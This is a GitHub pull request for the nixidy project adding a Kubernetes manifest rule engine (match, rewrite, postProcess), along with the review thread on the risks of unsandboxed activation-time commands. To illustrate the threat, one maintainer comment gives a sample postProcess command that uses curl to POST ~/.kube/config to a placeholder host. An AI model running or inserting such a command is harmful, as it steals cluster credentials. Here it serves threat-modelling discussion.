Skip to content

feat: generic objectTransforms rule engine (match / rewrite / postProcess)#100

Merged
arnarg merged 21 commits into
arnarg:mainfrom
sini:object-transforms-upstream
Jun 10, 2026
Merged

feat: generic objectTransforms rule engine (match / rewrite / postProcess)#100
arnarg merged 21 commits into
arnarg:mainfrom
sini:object-transforms-upstream

Conversation

@sini

@sini sini commented Jun 9, 2026

Copy link
Copy Markdown
Contributor

Summary

Adds a generic, declarative objectTransforms rule engine to environments and applications. A rule matches rendered Kubernetes objects and either rewrites them at evaluation time (rewrite) or post-processes their rendered content at deploy time (postProcess) — consistently across both nixidy switch and nixidy apply. This generalizes the existing per-release helm/kustomize transformer hooks into a first-class, cross-application mechanism — useful for cluster-wide policy (label/annotation injection, kind rewrites, dropping resources) and for runtime content stages (e.g. piping a manifest through an external encryptor on write).

The mechanism is deliberately domain-agnostic: nixidy gains the matching + transform plumbing; consumers express the actual rules.

Design

nixidy.objectTransforms (environment) and applications.<name>.objectTransforms (per app) are lists of rules:

{
  name   = "encrypt-secrets";              # optional; surfaced in assertions, the activation log + notice
  match  = <predicate `resource -> bool`>  |  { kind; apiVersion; namespace; name; labels; annotations; };
  rewrite = resource: resource | null;     # eval-time transform; null drops the resource
  postProcess = "<command>"                # activation-time stage; string shortcut, or:
              | { runtimeInputs = [ ... ]; command = <lines> | ({ resource, path, pkgs, lib }: <lines>); };
}

match

A predicate resource -> bool, or a declarative selector that desugars to one. Selector fields are ANDed; kind/apiVersion/namespace/name match by exact equality (a null field is a wildcard), while labels/annotations are subset matches (the resource may carry extra keys). The default matches every resource in scope, so omitting match applies a rule cluster-wide. Predicates run against the resource as seen at that point in the pipeline — i.e. after earlier rules' rewrites — so a rule that renames a kind must be matched by its new kind downstream.

rewrite / postProcess (exactly one per rule)

  • rewrite is an eval-time resource -> resource transform; returning null drops the resource. Applied once via a shared transformedObjects, feeding both the environmentPackage/activation path and the apply path, so rewrites are consistent across outputs. Output filenames follow the rewritten kind.
  • postProcess attaches an activation-time stdin → stdout filter to the matched resource's output file, compiled to a writeShellApplication (so quoting/pipes/runtimeInputs are handled; invoked by store path, no sh -c requote). A bare string is the common case and coerces to { command = <string>; runtimeInputs = []; }, matching the files library's onChange ergonomics. command may also be a function resolved at eval time against the matched object ({ resource, path, pkgs, lib }), to specialize per object (e.g. pick a recipient key from resource.metadata.namespace) without re-parsing the manifest. stdin/stdout is the contract so stages compose as a pipe, but the body is arbitrary shell — a tool needing a real file path (sops -i, yq -i) just captures stdin to a temp file and emits it back. $TARGET_PATH (the absolute destination, may not exist) is available at runtime.

postProcess is runtime-only by design: it intentionally runs outside the eval sandbox so it can reach things a rewrite cannot (network, a hardware key, host tools). That is the whole reason it is not a rewrite.

Ordering & scoping

Environment rules run first, then application rules; declaration order within each. A rule sets exactly one of rewrite/postProcess, asserted at both scopes (the offending rule's name/index is named in the message).

Activation, visibility & trust

  • No postProcess rules (the default): the environment is synced straight to the target behind the existing diff-guarded no changes! short-circuit — no staging, no extra copy.
  • postProcess rules present: the environment is staged to a tmpdir, matched files are post-processed in place, then rsync --deleted to the target.

Because postProcess commands run at activation time outside any sandbox, switch makes them visible before they run:

  • It prints every command about to execute (resolved against its matched object, function-form included), against which file.
  • When stdin is a terminal, it pauses for a [y/N] confirmation. A piped / CI / pre-commit run is non-interactive and proceeds untouched, so automation never blocks.
  • NIXIDY_POST_PROCESS_APPROVE=1 skips the prompt for trusted, repeated interactive use; NIXIDY_SKIP_POST_PROCESS=1 reuses the already-rendered target files without running anything (e.g. environments without the post-process toolchain).

These are visibility aids, not a security boundary — the configuration that defines a rule can also set the approval variable. The point is to surface arbitrary execution to a human switching to a config they have not vetted. See the discussion thread for the full trust-model reasoning.

Applying directly (nixidy apply) — parity with switch

nixidy apply runs postProcess too, so both deploy paths produce the same manifests. Rather than re-render a parallel manifest set, the apply script consumes the same environmentPackage the switch path renders: per resource it streams the clean file through yq (to add the apps.nixidy.dev/* prune labels, before the chain) and the postProcess chain into kubectl apply -f - --prune, per class. One render, one chain, two sinks — activate rsyncs a file tree; apply streams to kubectl. The same notice + [y/N] prompt run up front (NIXIDY_POST_PROCESS_APPROVE=1 skips it); NIXIDY_SKIP_POST_PROCESS is not honored on apply (there is no rendered target to fall back to — the chain always runs).

The chain output must be a valid cluster manifest: a transform whose result only a GitOps controller can consume (e.g. a ksops / whole-document-encrypted file) is switch-only, and kubectl apply rejects it (loud failure under set -eo pipefail, never a silent divergence). $TARGET_PATH is switch-only (no on-disk target on apply); the function-form path argument is identical on both paths so commands resolve the same.

Warning

Breaking change to declarativePackage's output shape. declarativePackage no longer renders standalone crds.yml / namespaces.yml / manifests.yml; it emits only the apply script (which consumes environmentPackage). Its only consumer was the old apply script — nothing in the CLI, lib, flake, or tests reads those files — but a workflow doing kubectl apply -f result/manifests.yml directly should switch to running result/apply (or nixidy apply).

Internals

  • build._transformedObjects / build._filePostProcesses expose results for tests.
  • A uniqueness assertion guards against two post-processed objects colliding on one output path; post-process paths and the written filenames are both derived from a single groupKeyOf helper so they can't drift.

Tests

tests/object-transforms-*.nix cover: matcher semantics (AND of fields, subset labels, predicate vs selector, predicate resolution for both forms); rewrite transform + null-drop + env-then-app ordering; postProcess file attachment (sanitized dotted names, non-match exclusion), the string-shortcut coercion, the function-form command resolving against the matched object, and the rule-name surfacing in XOR-assertion messages; and the apply pathapplyFiles enumerates the environmentPackage resource files (excluding app-of-apps, __-apps, raw yamls) and the function-form command resolves identically on the apply and switch paths. nix run .#moduleTests → 47/47.

Notes

The API shape (match/rewrite/postProcess, env+app scoping), the activation visibility/trust model, and switch/apply parity are settled in the thread above. User-guide documentation is included (docs/user_guide/object_transforms.md, plus cross-links from Transformers and Directly Apply Manifests). Ready for review.

sini added 10 commits June 9, 2026 11:37
…ed object

render.command now accepts a function { resource, path, pkgs, lib } -> lines
in addition to a literal snippet, mirroring agenix-rekey's generator context.
Lets a render stage specialize per matched object at eval time (e.g. pick a
recipient key from resource.metadata.namespace) instead of re-parsing the
manifest on stdin. _fileRenders entries now carry { resource; rules; } so the
activation render block can resolve the function.
…ng shortcut

API clarity pass on objectTransforms:

- map -> rewrite: pairs with render, both name a transformation; rewrite-or-drop
  semantics unchanged.
- render accepts a bare string, coercing to { command; runtimeInputs = []; },
  matching the files library's onChange ergonomics. Full submodule form retained
  for runtimeInputs / function-form commands.
- optional per-rule name, surfaced in the XOR assertion messages and the
  activation render log (was index-only, hard to debug among many rules).
- fold match semantics into option descriptions: match-all default, selector
  exact-vs-subset fields, and that predicates run against post-rewrite objects.
@sini
sini force-pushed the object-transforms-upstream branch from 1b98e25 to a731024 Compare June 9, 2026 19:20
sini added 2 commits June 9, 2026 12:30
…der tools

stdin/stdout is the contract so render stages compose as a pipe, but the
command body is arbitrary shell — a tool needing a real path (sops -i, yq -i)
just captures stdin to a temp file and emits it back. Document the one-liner
rather than ship a helper for it. Also fix stale post-map/applyMaps comments
left by the map->rewrite rename.
…helpers

Branch-wide review cleanups:

- activation: only stage + render when render rules exist. With none (the
  default), sync the environment straight to the target behind the original
  diff-guard 'no changes!' short-circuit, instead of unconditionally copying
  the whole tree into a tmpdir every activation. Restores the CI-loop guard
  the staging rewrite had dropped.
- factor groupKeyOf: mkApp's file grouping and objPath now derive the on-disk
  name from one helper, so render paths can't drift from written filenames.
- fold renderRulesFor into a single pass via renderEntriesFor (was computed
  twice per object); collision assertion uses it too.
- factor the rewrite/render XOR assertion into transforms.mkXorAssertions,
  shared by both env and app scopes (was duplicated verbatim).
- fix stale _transformedObjects description (map -> rewrite); hoist the
  repeated SopsSecret key lookup in the render test.
@sini sini changed the title feat: generic objectTransforms rule engine (match / map / render) feat: generic objectTransforms rule engine (match / rewrite / render) Jun 9, 2026

@arnarg arnarg left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overall this looks really nice! Thanks for contributing this!

A few thoughts:

I feel like render in rule might be a bit overloaded, maybe postProcess?

We're allowing injections of arbitrary commands into the activation script which has no sandboxing. Maybe renderBlocks should be turned into a script derivation that can be called with landrun in the activation script to make sure it only has rw access to the $staging directory? I imagine we'd need to offer some options to add ro/rw paths by the user. Maybe a good starting point:

${pkgs.landrun}/bin/landrun \
  --rox /nix/store \
  --rw "\$staging" \
  --ro /etc \
  --env HOME \
  --env PATH \
  --env USER \
  ${pkgs.bash}/bin/bash ${renderBlocksScript}

What are your thoughts about this?

EDIT: Maybe there could be nixidy.objectTransformSandbox or something:

{
  nixidy.objectTransfromSandbox = {
    unrestrictedNetwork = true; # Adds `--unrestricted-network` to landrun
    extraPaths = {
      ro = [ ];
      rw = [ ];
      rox = [ ];
      rwx = [ ];
    };
  };
}

Ideally when unrestrictedNetwork = true; before activation it would prompt Object transformation post process rules will run with unrestricted network access, continue? [Y/n] or similar, when any post process rule are defined.

I know this makes it a lot more complicated, but I feel that this is important.

Comment thread modules/nixidy/transforms.nix Outdated
Comment thread modules/nixidy/transforms.nix Outdated
Comment thread modules/nixidy/transforms.nix Outdated
Comment thread modules/build.nix
Comment thread tests/assertions.nix
@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I understand your desire to sandbox; but for my personal needs I need the post process step to be able to access my hardware yubikey.

Landlock or bubblewarp style containerization would limit execution to privleged linux hosts; but I also occasionally build on my nix-darwin machine where such tools aren't available.

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

... but I also occasionally build on my nix-darwin machine where such tools aren't available.

This is a case I forgot to account for, my bad!

What do you think about still halting for a prompt (something like Post process transformation rules will run. Make sure they are safe to run in your environment. Continue? [Y/n])? As I can imagine it will be quite annoying to constantly approve it, it can be auto-approved with an env variable. A nixidy option to auto-approve wouldn't be good enough as a bad actor could set it to true and create a post process rule:

f=$(mktemp); cat > "$f"; curl -X POST https://your-api.example.com/upload --data-binary @~/.kube/config; cat "$f"

I would want there to be some safeguards in place to warn the user and the user will have to control auto-approval when running nixidy switch.

Thoughts on this?

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

MMmmm... I have generation as part of a pre-commit-hook so that would break unless I set the env variable as part of my devshell, negating your protection checks -- but devshells already allow for arbitrary code execution as a precursor.

Your compromise is tenable; do you want me to proceed with it? I'm not wholly sold on the attack vector, but am happy to commit to a path. :)

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

... unless I set the env variable as part of my devshell, negating your protection checks

But in doing so you are aware of the risks and choose to skip the warning. A new user could be trying out nixidy and building someone else's environment configuration and not realize that arbitrary commands could be run when running nixidy switch. This example is of course probably not that likely but I think there are situations where this warning could be helpful.

This can also be a new --auto-approve (-y) flag on the nixidy switch sub-command.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

There's nothing inherently protecting a user here -- nixidy switch still runs the derivation script directly; if the malicious nix configuration provided an alternate script it would also hijack it.

My thoughts are that are that it's complicating a common pattern for a risk the user already takes when they run unverified code from the internet. I'm not sure that it's not just security theater. Anecdotally, I personally don't use the nixidy cli commands at all and invoke derivations directly.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I do want to say that I do really appreciate the security concerns and conversation; I'm playing the role of the devils advocate to further investigation into what and why we're making design decisions. I'm not actually disagreeing with you. :)

My stance is: if we're trying to protect users, I want to be sure we're actually protecting them. If we're not protecting users, we should communicate the risks clearly to them so they're informed and can do their due diligence.

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

No I see your point... An attacker that can set a post process command rule can also set the correct env variable in the flake's devShell. I'm having a hard time deciding if we should provide the small speed-bump I suggested which shows there was some effort made in protecting the user or put a warning in the documentation that the feature can be potentially unsafe.

I would usually not nitpick so much over this but this project is starting to gain some traction and I have read that some of those users are new to Kubernetes and/or nix.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I worry that providing a false sense of security is potentially more harmful than merely explicitly warning a user.

If I simply produce .\#nixidyEnvs.x86_64-linux.prod.declarativePackage as a malicious source, users are also vulnerable to hijacking.

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

If I simply produce .\#nixidyEnvs.x86_64-linux.prod.declarativePackage as a malicious source, users are also vulnerable to hijacking.

That is true... So that we're on the same page, what do you suggest the resolution should be then?

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

Switching hats; thinking out loud -- not actually suggesting:
Option 1: postProcess must be explicitly opt-in; users enable it
Counter: They opted in by defining it -- that is enabling it -- we're potentially hindering adoption by complexity
Counter-counter: Don't be so pedantic.

Option 2: we block the effort
Counter: we're preventing a real usage pattern (@sini)'s that could impact more users
Counter-counter: sini seems like a nice guy and is trying to also push nixidy in the den framework / larger adoption... :)

Option 3: we make it linux-only
Counter: it might not work for users, the runtime requirement is because sandboxing is too strict; otherwise they'd do it in the pure eval -- it breaks macos compat
Counter-counter: it's still more than existed before

Option 4: we let it ship as is
Counter: It's a possible attack vector
Counter-counter: That attack vector already exists

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

👋 Hello — I am The Fabled Mythos (Fable 5), an AI assistant @sini asked to read this thread and weigh in. Treat what follows as input for the humans here to accept or reject.

On the sandbox/prompt question: I think the trust-boundary argument settles it. The activation script nixidy switch runs is itself a derivation produced by the config's own module eval — a malicious config already has arbitrary execution at switch time without touching objectTransforms at all (the CLI directly executes the built activate script, and build.activationPackage is internal but not readOnly, so any evaluated module can replace it wholesale). Sandboxing only the postProcess stage relocates the payload one derivation over rather than removing it, and a [Y/n] prompt is bypassed by the same actor who writes the rule (they also control the devshell that exports the auto-approve variable, as @arnarg already noted). This is the same trust model as nixos-rebuild switch running activation scripts, and nobody prompts there.

One nuance, stated precisely (edited after verifying against the code): the dividing line is not GitOps vs. switch — it is "only ever runs nix build" vs. "runs the generated scripts." postProcessBlocks is referenced in exactly one place, the activate script; building declarativePackage or activationPackage executes no rule commands. So pure build-only users (build, read/commit the YAML) gain no new exec path from this PR. But CI-driven GitOps regeneration runs activate and therefore does execute postProcess commands on the runner, and declarativePackage's own apply script is likewise config-generated and unsandboxed when run. For everyone who runs those scripts, the exec path predates this PR.

Suggested resolution (Option 4, plus two non-theatrical measures):

  1. Documentation warning — a clearly-worded section stating that postProcess commands run at activation time, outside any sandbox, and that switching to someone else's environment is code execution (true with or without this feature).
  2. Visibility, not gating — the render log already names rules; make sure switch prints a plain notice of what is about to run (running 2 post-process rules: encrypt-secrets, …). That covers the "new user trying out someone else's config" scenario with transparency instead of a gate, and breaks neither pre-commit hooks nor CI.

If a stronger speed bump still feels warranted as the project grows, the landrun idea works well as an opt-in, Linux-only hardening flag (default off) — framed correctly as blast-radius limiting for your own buggy rules, not as protection against malicious configs, which no mechanism at this boundary can actually provide. That keeps darwin and hardware-key workflows intact, and a documented, accurate threat model arguably reflects better on the project than a bypassable prompt would.

A side-finding from the same verification: because postProcess is activation-only, declarativePackage output silently skips it. For the motivating use case — encrypt-secrets — that means building declarativePackage yields the unencrypted Secret manifests with no warning. The rewrite/postProcess divergence is documented in the PR description, but a warning (or assertion) when postProcess rules exist and declarativePackage is built may be worth adding, since the rules most likely to use postProcess are exactly the ones where skipping them leaks data.

On the open review items: renderpostProcess seems clearly right — render collides with nixidy's existing manifest-rendering vocabulary, while postProcess says when it runs. And I would keep the app-level rules: the multi-team monorepo case is real, and the env-then-app chaining already guarantees global policy cannot be masked by an application. Stripping app scope now would undo exactly the property that ordering was chosen to protect.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

For the motivating use case — encrypt-secrets — that means building declarativePackage yields the unencrypted Secret manifests with no warning.

This also should be called out in documentation; in my usecases these are val refs; users should be aware that /if/ they put secrets here they are stored in the nix-store.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I've pushed the render -> postProcess rename already. :)

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I'm adding a prompt to the activate script if the script is run within a TTY, and adding explicit logging for each post-process command. This leaves it as automated for CI type tasks/pre-commit/etc -- things a power user would be doing, but interactive for the 'nixidy switch' novice user experience.

I think this strikes at a middle ground we can both agree on, do you concur?

… interactive

postProcess commands run unsandboxed at activation time. Switching to a
config whose postProcess rule you have not vetted is arbitrary code
execution. Replace a bypassable gate with visibility plus an
automation-safe confirmation:

- print every postProcess command (resolved against its matched object,
  function-form included) before any runs, via a writeText store file so
  arbitrary command text needs no activate-heredoc escaping
- pause for [y/N] confirmation only when stdin is a terminal; piped /
  CI / pre-commit runs are non-interactive and proceed untouched
- NIXIDY_POST_PROCESS_APPROVE=1 skips the prompt for trusted repeated
  interactive use; NIXIDY_SKIP_POST_PROCESS=1 still short-circuits
- warn on declarativePackage build when postProcess rules exist, since
  that output skips them (an encrypt-secrets rule leaves the Secret
  unencrypted)
- document the threat model on the postProcess option, scoped to the
  feature: visibility aids, not a security boundary

Framed as informed-consent UX, not protection: the config defining a
rule can set the approval variable too.
@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

Switching hats; thinking out loud -- not actually suggesting:
Option 1: postProcess must be explicitly opt-in; users enable it
Counter: They opted in by defining it -- that is enabling it -- we're potentially hindering adoption by complexity
Counter-counter: Don't be so pedantic.

I feel like I've entered your mind 😆

Suggested resolution (Option 4, plus two non-theatrical measures):

  1. Documentation warning — a clearly-worded section stating that postProcess commands run at activation time, outside any sandbox, and that switching to someone else's environment is code execution (true with or without this feature).
  2. Visibility, not gating — the render log already names rules; make sure switch prints a plain notice of what is about to run (running 2 post-process rules: encrypt-secrets, …). That covers the "new user trying out someone else's config" scenario with transparency instead of a gate, and breaks neither pre-commit hooks nor CI.

Not to just agree with the LLM (I like to be critical of their information if anything) but in addition to everything we've discussed, I think this might be a good resolution.

A side-finding from the same verification: because postProcess is activation-only, declarativePackage output silently skips it. For the motivating use case — encrypt-secrets — that means building declarativePackage yields the unencrypted Secret manifests with no warning. The rewrite/postProcess divergence is documented in the PR description, but a warning (or assertion) when postProcess rules exist and declarativePackage is built may be worth adding, since the rules most likely to use postProcess are exactly the ones where skipping them leaks data.

Since the whole encryption step is done so that the manifests can be stored in git, I don't think this is necessary. It's the same as buiilding activationPackage and not running the activation script (if we ignore the manifests being applied to the cluster).

This also should be called out in documentation; in my usecases these are val refs; users should be aware that /if/ they put secrets here they are stored in the nix-store.

I agree with this though.

I'm adding a prompt to the activate script if the script is run within a TTY, and adding explicit logging for each post-process command. This leaves it as automated for CI type tasks/pre-commit/etc -- things a power user would be doing, but interactive for the 'nixidy switch' novice user experience.

After everything we've discussed, I'm kind of leaning now towards just documenting + logging. I hope you haven't spent effort on implementing this yet!

btw, out of curiosity, do you have access to Mythos or is this just the new Fable model? 😛

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

Nevermind, you already implemented it! 🙈

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

After everything we've discussed, I'm kind of leaning now towards just documenting + logging. I hope you haven't spent effort on implementing this yet!

I'm about to push it, and then start on an apply refactor to consume declarativePackage instead of reproduce the work.

btw, out of curiosity, do you have access to Mythos or is this just the new Fable model? 😛

Fable is mythos with pre-processing safety, but my wife has access. :)

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

I can also rollback that commit if you do want to reverse course -- it does serve to protect the novice user at least somewhat.

My apply refactor would have relevance regardless of that decision.

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

Ok, thanks for your effort and your opinions. I can hopefully review more later tonight (central europe).

@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

I can also rollback that commit if you do want to reverse course -- it does serve to protect the novice user at least somewhat.

My apply refactor would have relevance regardless of that decision.

No, it's not completely useless so just leave it since you already implemented it :)

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

Agent summary:

Pushed the resolution of the activation-safety discussion above (Option 4 + the visibility measures), scoped to postProcess:

  • Show, don't gate. Before any command runs, switch prints every postProcess command it is about to execute, resolved against its matched object (function-form included), against which file. Rendered to a writeText store file and cated, so arbitrary command text needs no activate-heredoc escaping — and what's shown is byte-identical to what runs (shared resolveCommand).
  • Confirm only when interactive. A [y/N] prompt appears only when stdin is a terminal ([ -t 0 ]). The CLI runs activate with inherited stdin, so a piped / CI / pre-commit run is non-interactive and proceeds untouched — automation never blocks. NIXIDY_POST_PROCESS_APPROVE=1 skips the prompt for trusted repeated use; NIXIDY_SKIP_POST_PROCESS=1 still short-circuits.
  • Honest framing. Documented on the postProcess option as informed-consent UX, not a security boundary — the config defining a rule can set the approval variable too. No claim it protects against a hostile config.
  • declarativePackage divergence flagged. postProcess runs on the activation path only, so declarativePackage (and nixidy apply) currently emit the pre-postProcess manifests — an encrypt-secrets rule leaves the Secret unencrypted there. Added a build-time warning when postProcess rules exist, plus a docs note that secret material in nixidy resources lands in the world-readable nix store regardless (use references).

Open follow-up — switch/apply parity. That last point is a real divergence: switch deploys post-processed manifests, apply does not. Since postProcess is runtime-only by design (it needs the sandbox-forbidden hardware/network that's the whole reason it isn't a rewrite), parity has to be realized in the runtime scripts, not the derivation. I'd like to explore reworking activation so both paths deploy the same configuration — likely by having activate consume declarativePackage rather than maintaining two output shapes. Will follow up with a concrete proposal.

@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

Just FYI for transparency, this is my working spec for the apply refactor: https://gist.github.com/sini/c0a06675071414788b6586de4d516d4b

sini added 5 commits June 10, 2026 10:36
Document the objectTransforms rule engine (match/rewrite/postProcess),
visibility + confirmation prompt, and switch/apply parity. Register in nav
and llms.txt; cross-link from Transformers and Directly Apply Manifests.
@sini sini changed the title feat: generic objectTransforms rule engine (match / rewrite / render) feat: generic objectTransforms rule engine (match / rewrite / postProcess) Jun 10, 2026
Address code-review minors: expose build._applyScript and assert the
generated bash (set -eo pipefail, per-class kubectl apply -f - --prune, no
glued *.yml); make the parity test a direct apply-vs-switch command
comparison via _filePostProcesses; fix an illustrative docs path.
@sini
sini marked this pull request as ready for review June 10, 2026 18:16
@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

Updated the PR description to be comprehensive and also pushed the doc updates.

@sini
sini requested a review from arnarg June 10, 2026 18:18
@sini

sini commented Jun 10, 2026

Copy link
Copy Markdown
Contributor Author

it's not completely useless

story of my life

@arnarg arnarg left a comment

Copy link
Copy Markdown
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Other than my 2 nitpicks it's looking quite good!

Comment thread docs/user_guide/object_transforms.md
Comment thread docs/user_guide/object_transforms.md Outdated
…itpicks

- selector's equivalent predicate now ANDs kind/namespace/labels to match
  the selector form (was checking kind only)
- drop #!nix highlight on `resource -> resource` (not valid nix)
@sini
sini requested a review from arnarg June 10, 2026 20:33
@arnarg
arnarg merged commit 90f7e0d into arnarg:main Jun 10, 2026
3 checks passed
@arnarg

arnarg commented Jun 10, 2026

Copy link
Copy Markdown
Owner

Thanks for this contribution!

@sini

sini commented Jun 12, 2026

Copy link
Copy Markdown
Contributor Author

@arnarg https://github.com/sini/nix-config/pull/136/changes -- not just for secrets :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants